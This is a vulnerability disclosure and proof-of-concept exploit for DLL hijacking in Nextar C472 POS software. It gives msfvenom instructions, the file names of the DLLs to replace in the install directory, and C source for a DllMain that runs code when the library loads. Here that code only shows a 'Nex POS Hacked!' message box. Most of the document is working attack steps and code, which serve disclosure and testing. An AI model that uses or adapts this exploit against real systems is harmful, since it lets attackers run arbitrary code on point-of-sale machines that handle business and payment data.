Nextar C472 POS DLL Hijacking

`/*   
Description:   
A vulnerability exists in windows that allows other applications dynamic link libraries  
to execute malicious code without the users consent, in the privelage context of the targeted application.  
  
Exploit Title: Nextar C472 POS DLL Hijacking Exploit (nxmm.dll - mdmdregistration.dll)  
Date: 28/11/2021  
Author: Yehia Elghaly   
Vendor: https://www.nextar.com/  
Software: https://download.nextar.com/latest/setup_nex_en.exe  
Version: Latest Nextar C472 POS  
Tested on: Windows 7 Pro x86 - Windows 10 x64  
Vulnerable extensions: .htm .html  
*/  
  
/*   
Instructions:  
  
1. Create dll using msfvenom (sudo msfvenom --platform windows -p windows/messagebox TEXT="Nex POS Hacked - YME" -f dll > nxmm.dll) or compile the code  
2. Replace nxmm.dll - mdmdregistration.dll or shcore.dll in Nex directory C:\Nex with your newly dll  
3. Launch NexAdmin.exe  
4. PoP UP MessageBox!  
*/  
  
  
#include <windows.h>  
  
BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)  
{  
  
switch (fdwReason)  
{  
case DLL_PROCESS_ATTACH:  
dll_mll();  
case DLL_THREAD_ATTACH:  
case DLL_THREAD_DETACH:  
case DLL_PROCESS_DETACH:  
break;  
}  
  
return TRUE;  
}  
  
int dll_mll()  
{  
MessageBox(0, "Nex POS Hacked!", "YME", MB_OK);  
}  
`